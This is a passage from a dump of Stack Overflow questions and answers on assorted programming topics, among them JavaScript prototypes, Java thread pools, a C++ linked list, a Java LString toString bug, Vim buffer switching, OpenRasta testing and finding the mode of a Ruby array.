platforms), but it works even if function decompilation doesn't work, it's just slightly less efficient in that case.</p> <p>Before jumping on any of those, though, I encourage you to look at the <a href="http://javascript.crockford.com/prototypal.html" rel="nofollow">true prototypical approach</a> advocated by Douglas Crockford (of JSON fame, also a big wig at YUI). Crockford had a great deal of input on the <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" rel="nofollow">latest version of ECMAScript</a>, and some of his ideas (most notably <code>Object.create</code>) are now part of the latest standard and are finding their way into browsers. Using <code>Object.create</code>, you can <em>directly</em> assign a prototype to an object, without having a constructor function.</p> <p>I prefer constructor functions (with my syntactic help) for places where I need inheritance, but Crockford's approach is valid, useful, and gaining popularity. It's something you should know about and understand, and then choose when or whether to use.</p>
34214325	0	 <p>I recommend using a <a href="https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/ScheduledThreadPoolExecutor.html" rel="nofollow">ScheduledThreadPoolExecutor</a> with a core pool size of <code>1</code> and optionally with a thread priority of <code>Thread.NORM_PRIORITY + 1</code> (use a <a href="https://guava-libraries.googlecode.com/svn/tags/release05/javadoc/com/google/common/util/concurrent/ThreadFactoryBuilder.html" rel="nofollow">ThreadFactoryBuilder</a> to create a <code>ThreadFactory</code> with higher than standard priority) for the UI thread - this will let you schedule tasks such as the counter increment using <code>ScheduledThreadPoolExecutor#scheduleAtFixedRate</code>. Don't execute anything other than UI tasks on this executor - execute your CPU tasks on a separate <code>ThreadPoolExecutor</code> with standard priority; if you have e.g. 16 logical cores then create a <code>ThreadPoolExecutor</code> with 16 core threads to make full use of your computer when the UI thread is idle, and let the virtual machine take care of ensuring that the UI thread executes its jobs when it's supposed to.</p>
8943778	0	 <p>To initialize many contacts in a loop you may want to do something like this:</p> <pre><code>Contact *FirstOne = new Contact(); Contact *current = FirstOne; while(...) { current-&gt;next = new Contact(); current = current-&gt;next; //do stuff to current, like adding info } </code></pre> <p>That way you are building up your Contact list. After that <code>*FirstOne</code> ist the first and <code>*current</code> is the last element of your list. Also you may want to make sure that the constructor sets *next to NULL to detect the end of the list.</p>
9524898	0	 <p><strong>Updated Answer</strong>: I still have spent way too much time on this :-), especially when it ended up so simple. <em>It allows for a background to be sized based on the height of the container</em>, which seems to be different than yunzen's solution. <strong>Now does use <code>margin: 0 auto;</code></strong>. Still grows with container height.</p> <p><a href="http://jsfiddle.net/CNxCb/219/"><strong>View the new answer.</strong></a></p> <p>You can <a href="http://jsfiddle.net/CNxCb/214/"><strong>view the original, more complex answer</strong></a> which does not use <code>auto</code> margin. </p> <h2>HTML:</h2> <pre><code>&lt;div id="Bkg"&gt; &lt;div id="Content"&gt;Content goes here. &lt;/div&gt; &lt;/div&gt; </code></pre> <h2>CSS:</h2> <pre><code>#Bkg { width: 100%; min-width: 300px; /* equals width of content */ background:url('http://dummyimage.com/400x20/ffff00/000000&amp;text=Center') repeat-y top center; padding-bottom: 50px; } #Content { width: 300px; margin: 0 auto; } </code></pre>
4598017	0	Counting process instances using Batch <p>Im trying to count the number of php-cgi.exe processes on my server 2003 system using "tasklist" and grep <a href="http://gnuwin32.sourceforge.net/packages/grep.htm" rel="nofollow">for windows</a>. I would like to avoid writing to any temp files.</p> <pre><code>call set _proc_cnt = tasklist /fi "Imagename eq php-cgi.exe" /nh /fo CSV| grep -c -e "php-cgi" echo %_proc_cnt% pause </code></pre> <p>Heres what I get when I run that</p> <pre><code>C:\Users\gm\Desktop&gt;call set _proc_cnt = tasklist /fi "Imagename eq php-cgi.exe" /nh /fo CSV | grep -c -e "php-cgi" 0 C:\Users\gm\Desktop&gt;echo ECHO is on. C:\Users\gm\Desktop&gt;pause Press any key to continue . . . </code></pre> <p>Does anyone have any tips on why that doesnt work?</p>
28801361	0	LinkedLists, building a toString method for custom linked list class <p>I'm struggling with completing this <code>toString()</code> method within my linked list class called <code>LString</code></p> <p>The class creates an LString object that mimics String and StringBuilder with a linked list rather than an array. It creates strings out of linked lists.</p> <p>Here is the code for the method:</p> <pre><code>public String toString(){ StringBuilder result = new StringBuilder(); node curr = front; while (curr != null){ result.append(curr.data); curr = curr.next; } return result.toString(); } </code></pre> <p>I have tried several different things, and I think I'm close to figuring it out. But I can't move forward from this error message:</p> <pre><code>Running constructor, length, toString tests (10 tests) Starting tests: .......E.E Time: 0.009 There were 2 failures: 1) t11aLStringOfStringToString[1](LStringTest$LStringOfStringTest) org.junit.ComparisonFailure: LString("ab").toString() is wrong. expected:&lt;[a]b&gt; but was:&lt;[]b&gt; at org.junit.Assert.assertEquals(Assert.java:115) at LStringTest$LStringOfStringTest.t11aLStringOfStringToString(LStringTest.java:221) ... 10 more 2) t11aLStringOfStringToString[2](LStringTest$LStringOfStringTest) org.junit.ComparisonFailure: LString("This is a long string.").toString() is wrong. expected:&lt;[This is a long string].&gt; but was:&lt;[].&gt; at org.junit.Assert.assertEquals(Assert.java:115) at LStringTest$LStringOfStringTest.t11aLStringOfStringToString(LStringTest.java:221) ... 10 more Test Failed! (2 of 10 tests failed.) Test failures: abandoning other phases. </code></pre> <p>The <code>LString</code> class uses another class, LStringTest.java to do various tests. This error message is from running LStringTest.java, but the method that I'm working on is within LString. It is the, <code>LString("ab").toString() is wrong</code> bit.</p> <p>For some context, here is the rest of my class:</p> <pre><code>public class LString { // 2. Fields node front; //node tail; int size; // 1. Node class private class node { char data; node next; //constructors //1. default public node (){ } //2. data public node (char newData){ this.data = newData; } //3. data + next public node (char newData, node newNext){ this.data = newData; this.next = newNext; } } // 3. Constructors public LString(){ this.size = 0; this.front = null; } public LString(String original) { for (int i =0; i &lt; original.length(); i++) { this.front = new node(original.charAt(i)); } this.size = original.length(); } // 4. Methods public int length() { return this.size; } public int compareTo(LString anotherLString) { return 0; } public boolean equals(Object other) { if (other == null || !(other instanceof LString)) { return false; } else { LString otherLString = (LString)other; return true; } } public char charAt(int index) { return 'a'; } public void setCharAt(int index, char ch) { ch = 'a'; } public LString substring(int start, int end) { return null; } public LString replace(int start, int end, LString lStr) { return null; } //append public void append(char data){ this.size++; if (front == null){ front = new node(data); return; } node curr = front; while (curr.next != null){ curr = curr.next; } curr.next = new node(data); } //prepend public void prepend (char data){ /*node temp = new node(data); temp.next = front; front = temp;*/ front = new node(data, front); size++; } //delete public void delete(int index){ //assume that index is valid if (index == 0){ front = front.next; } else { node curr = front; for (int i = 0; i &lt; index - 1; i++){ curr = curr.next; } curr.next = curr.next.next; } size--; } //toString public String toString(){ StringBuilder result = new StringBuilder(); //result.append('['); node curr = front; while (curr != null){ //result.append('['); result.append(curr.data); curr = curr.next; //result.append(']'); //if (curr.next != null){ //} } //result.append(']'); return result.toString(); } //add (at an index) public void add(int index, char data){ if (index == 0){ front = new node(data, front); } else { node curr = front; for (int i = 0; i &lt; index - 1; i++){ curr = curr.next; } curr.next = new node(data, curr.next); } } } </code></pre>
28754371	0	Sublime Text 3 Hides scrollbars <p>I would prefer to always see the scroll-bars in Sublime Text 3. The current behavior is for them to remain hidden until you start scrolling. Is there a setting I can change to make it behave this way? Is it part of the theme? Right now I am making the scroll-bars larger by modifying my theme (<a href="https://packagecontrol.io/packages/Theme%20-%20Cyanide">Cyanide</a>)... I have</p> <pre><code>// in Cyanide.sublime-theme [ { "class": "scroll_bar_control", "attributes": ["horizontal"], "content_margin": [3, 4] //makes horiz scrollbar taller }, { "class": "scroll_bar_control", "content_margin": [1, 3] //makes vert scrollbar taller } ] </code></pre>
33196959	0	 <p>If you are using a function inside the template, it generally will run twice times. That is the way AngularJS ensures the function was ran.</p> <p><a href="http://jsfiddle.net/iagomelanias/U3pVM/19526/" rel="nofollow noreferrer">You can see the same happening in this JSFIddle example.</a></p> <p><a href="https://i.stack.imgur.com/PZ8sM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PZ8sM.png" alt="enter image description here"></a></p> <p><strong>HTML:</strong></p> <pre><code>&lt;div ng-app&gt; &lt;div ng-controller="ExampleCtrl"&gt; {{hey()}} &lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>JS:</strong></p> <pre><code>function ExampleCtrl($scope) { $scope.hey = function() { console.log('here i am'); } } </code></pre> <h2>So, what to do?</h2> <p>Do not load the data using a function in the template, load it directly when the controller is initialized. <a href="http://jsfiddle.net/iagomelanias/U3pVM/19528/" rel="nofollow noreferrer">As in this example.</a></p> <pre><code>function ExampleCtrl($scope, $http) { $http.get(...); } </code></pre> <p><strong><em>PS:</strong> are you not using the get method from jQuery, yep? Please. AngularJS has your own http methods. <a href="https://docs.angularjs.org/api/ng/service/$http" rel="nofollow noreferrer">See here</a>.</em></p>
1339035	0	 <p>I believe it's just the nature of a browser to often request the favicon.ico file for whatever reason, whether or not it even exists.</p>
22039248	0	 <p>Well, you aren't sending any data to the server, so the server doesn't know there have been any changes.</p> <p>You can use a submit button:</p> <pre><code>&lt;a4j:commanButton process="listShuttleId" value="Submit"&gt; </code></pre> <p>or you can have the changes sent to server as they're happening by putting this inside the listShuttle:</p> <pre><code>&lt;a4j:support event="onlistchanged" /&gt; </code></pre>
33553724	0	 <p>With this type of problem getting the time spent splitting the data up for parallel processing and then putting it back together to be less than the time to process it in a sequence can be tricky. </p> <p>In the problem above, if i'm interpreting it correctly you are generating two sequences of data, each in parallel. So these sequences can't communicate with each other during this process to see if they have a later date. Once all of the data for both sequences is finished then you form it into a map. and then split that map back into a sequence and start processing it. </p> <p>The first pair of dates, (first loc) and (first mob), will be sitting for quite a while before they can be compared to see if they should go into the final result. so the best speedup may come from simply removing the call to zipmap.</p> <p><code>time/after?</code> is very fast so you will <b>almost certainly loose time</b> by calling pmap here, though it's good to know how to do it anyway. You can get aroung the inability of the anonymous function macro to handle nested anonymous functions by making one of tham a call to <code>fn</code> like so:</p> <pre><code>(keep (fn [x] (when (pmap #(later-date? (second x) after) zip)) [(first %) (second %)]) </code></pre> <p>Another approach is to </p> <ol> <li>break it into partitions, </li> <li>do all the processing on each partition, and </li> <li>merge them back together. </li> </ol> <p>Then <b>adjust the partition size until you see a benefit</b> over the splitting costs. </p> <p>This has been discussed <a href="http://stackoverflow.com/questions/1702705/how-to-efficiently-apply-a-medium-weight-function-in-parallel">here</a>, and <a href="http://stackoverflow.com/questions/2103599/better-alternative-to-pmap-in-clojure-for-parallelizing-moderately-inexpensive-f">here</a></p>
20624287	0	 <p><code>&lt;li&gt;</code> has optional close tags, so if the browser sees another <code>&lt;li&gt;</code> before a correpsonding <code>&lt;/li&gt;</code>, it implicitly inserts a close for the previous tag. You can verify this using the DOM inspector in your browser's developer tools. This means that Item 3's "subitems" are actually siblings to Item 3.</p> <p><img src="https://i.stack.imgur.com/3p7X0.png" alt="DOM view"></p> <ul> <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-li-element" rel="nofollow noreferrer">Relevant WHATWG spec showing optional close tag</a></li> <li><a href="http://www.w3.org/TR/html-markup/li.html" rel="nofollow noreferrer">W3 spec showing optional close tag</a></li> </ul>
13687738	0	OpenRasta Unit Testing GET results in 404 error <p>I've completed my implementation of my first OpenRasta RESTful webservice and have successfully got the GET requests I wish for working.</p> <p>Therefore I've taken some 'inspiration' from Daniel Irvine with his post <a href="http://danielirvine.com/blog/2011/06/08/testing-restful-services-with-openrasta/" rel="nofollow">http://danielirvine.com/blog/2011/06/08/testing-restful-services-with-openrasta/</a> to built a automated test project to test the implmentation.</p> <p>I've created my own test class but I'm constantly getting a 404 error as the reponse status code.</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using System.Text; using OpenRasta.Hosting.InMemory; using PoppyService; using OpenRasta.Web; using System.IO; using System.Runtime.Serialization.Json; using Microsoft.VisualStudio.TestTools.UnitTesting; using NUnit.Framework; namespace PoppyServiceTests { //http://danielirvine.com/blog/2011/06/08/testing-restful-services-with-openrasta/ [TestFixture] class OpenRastaJSONTestMehods { [TestCase("http://localhost/PoppyService/users")] public static void GET(string uri) { const string PoppyLocalHost = "http://localhost/PoppyService/"; if (uri.Contains(PoppyLocalHost)) GET(new Uri(uri)); else throw new UriFormatException(string.Format("The uri doesn't contain {0}", PoppyLocalHost)); } [Test] public static void GET(Uri serviceuri) { using (var host = new InMemoryHost(new Configuration())) { var request = new InMemoryRequest() { Uri = serviceuri, HttpMethod = "GET" }; // set up your code formats - I'm using // JSON because it's awesome request.Entity.ContentType = MediaType.Json; request.Entity.Headers["Accept"] = "application/json"; // send the request and save the resulting response var response = host.ProcessRequest(request); int statusCode = response.StatusCode; NUnit.Framework.Assert.AreEqual(200, statusCode, string.Format("Http StatusCode Error: {0}", statusCode)); // deserialize the content from the response object returnedObject; if (response.Entity.ContentLength &gt; 0) { // you must rewind the stream, as OpenRasta // won't do this for you response.Entity.Stream.Seek(0, SeekOrigin.Begin); var serializer = new DataContractJsonSerializer(typeof(object)); returnedObject = serializer.ReadObject(response.Entity.Stream); } } } } </code></pre> <p>}</p> <p>If I navigate to the Uri manually in the browser I'm getting the correct responce and HTTP 200.</p> <p>It's possibly something to do with my Configuration class, but if I test all the Uris manaully again I get the correct result.</p> <pre><code>public class Configuration : IConfigurationSource { public void Configure() { using (OpenRastaConfiguration.Manual) { ResourceSpace.Has.ResourcesOfType&lt;TestPageResource&gt;() .AtUri("/testpage").HandledBy&lt;TestPageHandler&gt;().RenderedByAspx("~/Views/DummyView.aspx"); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;AppUser&gt;&gt;() .AtUri("/users").And .AtUri("/user/{appuserid}").HandledBy&lt;UserHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;AuthenticationResult&gt;() .AtUri("/user").HandledBy&lt;UserHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;Client&gt;&gt;() .AtUri("/clients").And .AtUri("/client/{clientid}").HandledBy&lt;ClientsHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;Agency&gt;&gt;() .AtUri("/agencies").And .AtUri("/agency/{agencyid}").HandledBy&lt;AgencyHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;ClientApps&gt;&gt;() .AtUri("/clientapps/{appid}").HandledBy&lt;ClientAppsHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;Client&gt;() .AtUri("/agencyclients").And .AtUri("/agencyclients/{agencyid}").HandledBy&lt;AgencyClientsHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;Client&gt;() .AtUri("/agencyplususerclients/{appuserid}").HandledBy&lt;AgencyPlusUserClientsHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;Permission&gt;&gt;() .AtUri("/permissions/{appuserid}/{appid}").HandledBy&lt;PermissionsHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;Role&gt;&gt;() .AtUri("/roles").And .AtUri("/roles/{appuserid}").And.AtUri("/roles/{appuserid}/{appid}").HandledBy&lt;RolesHandler&gt;().AsJsonDataContract(); ResourceSpace.Has.ResourcesOfType&lt;IList&lt;AppVersion&gt;&gt;() .AtUri("/userappversion").And .AtUri("/userappversion/{appuserid}").HandledBy&lt;UserAppVersionHandler&gt;().AsJsonDataContract(); } } } </code></pre> <p>Any suggestions would be greatfully received.</p>
9368417	0	DataSets in C#.NET -- How to access related tables via a universal row <p>I have a situation where previously a simple DataTable worked (because I was using an DataAdapter that only hit <em>one</em> table in my relation system). Recently however I'm joining three tables (done in the query that gets sent to my rdb) and it looks can only access one via a DataTable.</p> <p>Is there a way to iterate over some universal row (i.e. one row that has columns of all tables joined via a foreign key link) element in a DataSet?</p> <p>Also currently all of this data from three tables is getting put into a single DataTable via OdbcDataAdapter.Fill(myDataTable). I would really like to be able to do something like:</p> <pre><code>string s1 = myDataTable.Rows[i]["table1.someCol"], s2 = myDataTable.Rows[i]["table2.someCol"]; </code></pre> <p>Are either of these possible, and if not how should one handle this situation? Thanks in advance.</p>
36015321	0	 <p>You can use <code>duplicated</code> to subset the data and then call <code>table</code>:</p> <pre><code>table(subset(df, !duplicated(paste(col1, col2)), select = col1)) #app chh gg # 1 1 2 </code></pre> <p>As a second option, here's a dplyr approach:</p> <pre><code>library(dplyr) distinct(df) %&gt;% count(col1) # or distinct(df, col1, col2) if you have other columns #Source: local data frame [3 x 2] # # col1 n # (fctr) (int) #1 app 1 #2 chh 1 #3 gg 2 </code></pre>
5559029	0	Quickly switching buffers in Vim normal mode <p>Recently I found out that I'm <a href="http://stackoverflow.com/questions/102384/using-vims-tabs-like-buffers/103590#103590">"using tabs incorrectly" in Vim</a>. I've been trying to just use buffers in Vim since, assisted through <a href="https://github.com/fholgado/minibufexpl.vim/">MiniBufExplorer</a>, but I find it painful because of how many keystrokes it takes to change buffers from normal mode. With tabs, I can just do <kbd>g</kbd><kbd>t</kbd> or <kbd>g</kbd><kbd>T</kbd> to hop back and forth between tabs in normal mode, and I can also do <kbd>NUMBER</kbd><kbd>g</kbd><kbd>t</kbd> to go to a specific tab.</p> <p>With buffers, I either have to enter command mode with <code>:bn</code>, <code>:bp</code>, or with MiniBufExplorer, use <kbd>Ctrl + k</kbd> or <kbd>Ctrl + Up</kbd> to hop up to the buffer window, scroll left or right with <kbd>h</kbd> and <kbd>l</kbd> and then hit <kbd>Enter</kbd> to select the buffer I want. Or I can do something involving a leader sequence, but it always requires removing multiple fingers away from home row. That's a real pain.</p> <p>How can I get something equivalent switching tabs in normal mode to switch buffers in normal mode, so I can do something like <kbd>g</kbd><kbd>n</kbd>/<kbd>g</kbd><kbd>p</kbd> for <code>:bn</code>/<code>:bp</code> and <kbd>NUMBER</kbd><kbd>g</kbd><kbd>n</kbd> for <code>:buf NUMBER</code>?</p>
32635832	0	How to serialize integer to ApplicationDataContainer <p>I am porting an old game to Windows 10 store app. I can write and then read string to app settings:</p> <pre><code>ApplicationDataContainer^ localSettings = ApplicationData::Current-&gt;LocalSettings; localSettings-&gt;Values-&gt;Insert("keyS", "hello"); String^ valueS = safe_cast&lt;String^&gt;(localSettings-&gt;Values-&gt;Lookup("keyS")); </code></pre> <p>I also can put <code>int</code> value:</p> <pre><code>localSettings-&gt;Values-&gt;Insert("keyI", 123); </code></pre> <p>But how do I read it?</p> <pre><code>??? valueI = safe_cast&lt;???&gt;(localSettings-&gt;Values-&gt;Lookup("keyI")); </code></pre> <p><code>Lookup</code> returns <code>Platform::Object^</code>, so how do I cast it to <code>int</code>?</p>
35961657	0	 <p>If you look closely to the <a href="http://docs.oracle.com/javase/8/docs/api/java/util/Collections.html" rel="nofollow">Collections API</a>, you will see that you have two options at your disposal:</p> <p>1) make your GetTraders class implement the Comparable interface and call</p> <pre><code>public static &lt;T extends Comparable&lt;? super T&gt;&gt; void sort(List&lt;T&gt; list) </code></pre> <p>2) create a new Comparator for the GetTraders class and call</p> <pre><code>public static &lt;T&gt; void sort(List&lt;T&gt; list, Comparator&lt;? super T&gt; c) </code></pre> <p>The first solution is the easiest one but if you need to sort the GetTraders objects according to multiple criteria then the second one is the best choice.</p> <p>As pointed out by @Vaseph, if you are using Java 8 instead, life suddenly becomes easier because all you need to do is:</p> <pre><code>traders.sort((GetTraders trade1, GetTraders trade2) -&gt; { return trade1.getBusinessName().compareTo(trade2.getBusinessName()); }); </code></pre> <p>But if you are having troubles with the Comparable and Comparator interfaces, I would encourage you to first try the pre-Java-8 solutions before diving into the magic world of the functional interfaces.</p> <hr> <p>For the sake of completeness, please also find below an example of each solution:</p> <p>1) Comparable-based solution:</p> <pre><code>import java.util.ArrayList; import java.util.Collections; import java.util.List; public class GetTraders1 implements Comparable&lt;GetTraders1&gt; { private String getTraderLegalName; private String businessName; private Object status; public GetTraders1(String getTraderLegalName, String businessName, String status) { this.getTraderLegalName=getTraderLegalName; this.businessName=businessName; this.status=status; } @Override public int compareTo(GetTraders1 that) { return this.getTraderLegalName.compareTo(that.getTraderLegalName); } @Override public String toString() { return "GetTraders [getTraderLegalName=" + getTraderLegalName + ", businessName=" + businessName + ", status=" + status + "]"; } public static void main(String[] args) { GetTraders1 getTraders1 = new GetTraders1("1", "bn", "status"); GetTraders1 getTraders2 = new GetTraders1("2", "bn", "status"); GetTraders1 getTraders3 = new GetTraders1("3", "bn", "status"); List&lt;GetTraders1&gt; list = new ArrayList&lt;&gt;(); list.add(getTraders3); list.add(getTraders2); list.add(getTraders1); System.out.println(list); Collections.sort(list); System.out.println(list); } } </code></pre> <p>2) Comparator-based solution</p> <pre><code>import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.List; public class GetTraders2 { private String getTraderLegalName; private String businessName; private Object status; public GetTraders2(String getTraderLegalName, String businessName, String status) { this.getTraderLegalName=getTraderLegalName; this.businessName=businessName; this.status=status; } @Override public String toString() { return "GetTraders [getTraderLegalName=" + getTraderLegalName + ", businessName=" + businessName + ", status=" + status + "]"; } public static void main(String[] args) { GetTraders2 getTraders1 = new GetTraders2("1", "bn", "status"); GetTraders2 getTraders2 = new GetTraders2("2", "bn", "status"); GetTraders2 getTraders3 = new GetTraders2("3", "bn", "status"); List&lt;GetTraders2&gt; list = new ArrayList&lt;&gt;(); list.add(getTraders3); list.add(getTraders2); list.add(getTraders1); System.out.println(list); Collections.sort(list, new Comparator&lt;GetTraders2&gt;() { @Override public int compare(GetTraders2 o1, GetTraders2 o2) { return o1.getTraderLegalName.compareTo(o2.getTraderLegalName); } }); System.out.println(list); } } </code></pre>
18484561	0	 <p>This is not a very nice fix but it works:</p> <p>CSS:</p> <pre><code>.new-tab-opener { display: none; } </code></pre> <p>HTML:</p> <pre><code>&lt;a data-href="http://www.google.com/" href="javascript:"&gt;Click here&lt;/a&gt; &lt;form class="new-tab-opener" method="get" target="_blank"&gt;&lt;/form&gt; </code></pre> <p>Javascript:</p> <pre><code>$('a').on('click', function (e) { var f = $('.new-tab-opener'); f.attr('action', $(this).attr('data-href')); f.submit(); }); </code></pre> <p>Live example: <a href="http://jsfiddle.net/7eRLb/" rel="nofollow">http://jsfiddle.net/7eRLb/</a></p>
8387988	0	 <p>Perhaps the most natural thing to do here is to present the login view controller modally. When the user has logged in successfully, the first controller can then push the third view controller onto the navigation stack. This way, the back button will lead directly back to the first view controller, and the user will understand why.</p>
14888591	0	google maps marker clusterer not working in IE7 & IE8 due to an 'is null or not an object' error <p><a href="http://expertforum.ro/extra/harta-bugetelor/primarii.html" rel="nofollow">I have a google Map</a> (js api v3) + marker clusterer which doesn't display in Internet Explorer 7 &amp; 8 - I get the classical js error:</p> <blockquote> <p>Message: 'addresses[...].lt' is null or not an object</p> </blockquote> <p>On the other hand, <a href="http://expertforum.ro/extra/harta-bugetelor/judete.html" rel="nofollow">this other example</a> which uses a very similar json file, but doesn't use marker clusterer - displays the same error, but renders the markers on the map.</p> <p>So I'm not even sure it's .json syntax error, rather something that bothers the marker clusterer instance, but I have no idea what</p>
5810714	0	 <p>I think you just need the <a href="http://office.microsoft.com/en-us/access-help/all-distinct-distinctrow-top-predicates-HA001231351.aspx" rel="nofollow">DISTINCT</a> keyword:</p> <p>Basically:</p> <pre><code>SELECT DISTINCT F2, F3, F4 FROM Table; </code></pre>
26631222	0	cannot resolve method setGroup <p>I wanted to assign a notification to a group with <code>setGroup()</code> for stacking notifications and summarising them. </p> <p>Like <a href="https://developer.android.com/training/wearables/notifications/stacks.html" rel="nofollow">HERE</a></p> <pre><code>final static String GROUP_KEY_SAPPHIRE = "group_key_emails"; NotificationCompat.Builder oneBuilder = new NotificationCompat.Builder(this); oneBuilder.setSmallIcon(R.drawable.warning_icon) .setContentTitle("Warning: ") .setContentText(message) .setPriority(0x00000002) .setLights(Color.GREEN, 500, 500) .setGroup(GROUP_KEY_SAPPHIRE) .addAction (R.drawable.ic_action_accept_dark, getString(R.string.ok), warningPendingIntent); NotificationManager oneNotificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); oneNotificationManager.notify(NOTIFICATION_ID, oneBuilder.build()); editText.setText(""); </code></pre> <p>But I always got the response that the method setGroup couldn't be resolved. I've imported the <strong>.v4.support library</strong>.</p> <p>Thanks in advance</p>
19145414	0	 NLTK is a leading platform for building Python programs to work with human language data. It provides easy-to-use interfaces to over 50 corpora and lexical resources such as WordNet, along with a suite of text processing libraries for classification, tokenization, stemming, tagging, parsing, and semantic reasoning. Source: http://nltk.org/
23194727	0	 <p>dynamically allocate memory for a <code>int</code>.<br> everytime you get a element satisfying the condition and add the element to a dynamically allocated array of integer.<br> use <code>realloc()</code> to increase the size of the <code>int</code> array pointed by some pointer and add the new element to that array.<br> use counter to know the number of elements in array.</p>
37662348	0	 <p>This is a <a href="https://github.com/bower/bower/issues/2262" rel="nofollow">permissions with Bower</a>, as suggested from the error (not a Cloud9 specific issue).</p> <p>Use the following to fix it:</p> <p><code>sudo chown -R $USER:$GROUP ~/.npm</code></p> <p><code>sudo chown -R $USER:$GROUP ~/.config</code></p>
30688497	0	 <p>You just need to add a space between <code>a++</code> and <code>{</code>:</p> <pre><code>for var a = 0; a &lt; 10; a++ { println(a) } </code></pre>
40864199	0	Couldn't get facebook Pages and groups details with facebook C# SDK <p>I have integrated facebook DLL into my desktop application (C#.Net), in this one need to authenticate facebook account via OAuth and its working correctly. I got Access Token also and email too. But i want to access users pages and groups also, for this i have mentioned extendedPermissions like below:</p> <p>FacebookExtendedPermissions = "email,user_groups,publish_stream,manage_pages"</p> <p>I have used below block of code for getting users Page details:</p> <pre><code> FacebookClient _fb = new FacebookClient(); _fb.AccessToken = FacebookOAuthResult.AccessToken; dynamic results = _fb.Get("/me/accounts"); </code></pre> <p>But i'm gatting empty value in data. What i'm doing wrong here can't get it.</p> <p>I have tried in other way too like this:</p> <pre><code>HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://graph.facebook.com/me/accounts?access_token=" + longLivedToken); request.AutomaticDecompression = DecompressionMethods.GZip; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) using (Stream stream = response.GetResponseStream()) using (StreamReader reader = new StreamReader(stream)) { string html = reader.ReadToEnd(); } </code></pre> <p>But again no luck. Any help or pointers will be much appreciated. Thanks in advance.</p>
27120879	0	 <p>Use 2 variables. First variable will store the last execution date and the next one will store the version. Whenever you execute the script, first check if the date is same. If yes, increment the version else set the version to 1. Export the variables so that they retain their values.</p> <pre><code>if [ "`date +'%Y%m%d'`" == "$LAST_EXEC_DATE" ]; then (( VERSION += 1 )) else VERSION=1 LAST_EXEC_DATE=`date +"%Y%m%d"` fi export LAST_EXEC_DATE export VERSION </code></pre>
7480440	0	Canvas Height & Width Problem <p>My Problem is I am Using Face Detector Example from Following Link but How To Find Square Height &amp; Width and Replace Image on Square Same as Square Height &amp; Width.Sorry for Bad English Communication.</p> <p><a href="http://downloads.ziddu.com/downloadfile/9930500/AndroidFaceDetector_files_100520a.zip.html" rel="nofollow">http://downloads.ziddu.com/downloadfile/9930500/AndroidFaceDetector_files_100520a.zip.html</a></p> <p>Please Help Me.</p>
412696	0	 <p>While I adore the grep solution for its elegance and for reminding (or teaching) me about a method in Enumerable that I'd forgotten (or overlooked completely), it's slow, slow, slow. I agree 100% that creating the <code>Array#mode</code> method is a good idea, however - this is Ruby, we don't need a library of functions that act on arrays, we can create a mixin that adds the necessary functions <em>into</em> the Array class itself.</p> <p>But the inject(Hash) alternative uses a sort, which we also don't really need: we just want the value with the highest occurrence.</p> <p>Neither of the solutions address the possibility that more than one value may be the mode. Maybe that's not an issue in the problem as stated (can't tell). I think I'd want to know if there was a tie, though, and anyway, I think we can improve a little on the performance.</p> <pre><code>require 'benchmark' class Array def mode1 sort_by {|i| grep(i).length }.last end def mode2 freq = inject(Hash.new(0)) { |h,v| h[v] += 1; h } sort_by { |v| freq[v] }.last end def mode3 freq = inject(Hash.new(0)) { |h,v| h[v] += 1; h } max = freq.values.max # we're only interested in the key(s) with the highest frequency freq.select { |k, f| f == max } # extract the keys that have the max frequency end end arr = Array.new(1_000) { |i| rand(100) } # something to test with Benchmark.bm(30) do |r| res = {} (1..3).each do |i| m = "mode#{i}" r.report(m) do 100.times do res[m] = arr.send(m).inspect end end end res.each { |k, v| puts "%10s = %s" % [k, v] } end </code></pre> <p>And here's output from a sample run.</p> <pre><code> user system total real mode1 34.375000 0.000000 34.375000 ( 34.393000) mode2 0.359000 0.000000 0.359000 ( 0.359000) mode3 0.219000 0.000000 0.219000 ( 0.219000) mode1 = 41 mode2 = 41 mode3 = [[41, 17], [80, 17], [72, 17]] </code></pre> <p>The "optimised" mode3 took 60% of the time of the previous record-holder. Note also the multiple highest-frequency entries.</p> <p>EDIT</p> <p>A few months down the line, I noticed <a href="http://stackoverflow.com/questions/412169/ruby-how-to-find-item-in-array-which-has-the-most-occurrences/1909239#1909239">Nilesh's answer</a>, which offered this:</p> <pre><code>def mode4 group_by{|i| i}.max{|x,y| x[1].length &lt;=&gt; y[1].length}[0] end </code></pre> <p>It doesn't work with 1.8.6 out of the box, because that version doesn't have Array#group_by. ActiveSupport has it, for the Rails developers, although it seems about 2-3% slower than mode3 above. Using the (excellent) <a href="http://github.com/marcandre/backports" rel="nofollow noreferrer">backports</a> gem, though, produces a 10-12% <em>gain</em>, as well as delivering a whole pile of 1.8.7 and 1.9 extras.</p> <p>The above applies to <strong>1.8.6</strong> only - and mainly only if installed on Windows. Since I have it installed, here's what you get from IronRuby 1.0 (on .NET 4.0):</p> <pre><code>========================== IronRuby ===================================== (iterations bumped to **1000**) user system total real mode1 (I didn't bother :-)) mode2 4.265625 0.046875 4.312500 ( 4.203151) mode3 0.828125 0.000000 0.828125 ( 0.781255) mode4 1.203125 0.000000 1.203125 ( 1.062507) </code></pre> <p>So in the event that performance is super-critical, benchmark the options on your Ruby version &amp; OS. <a 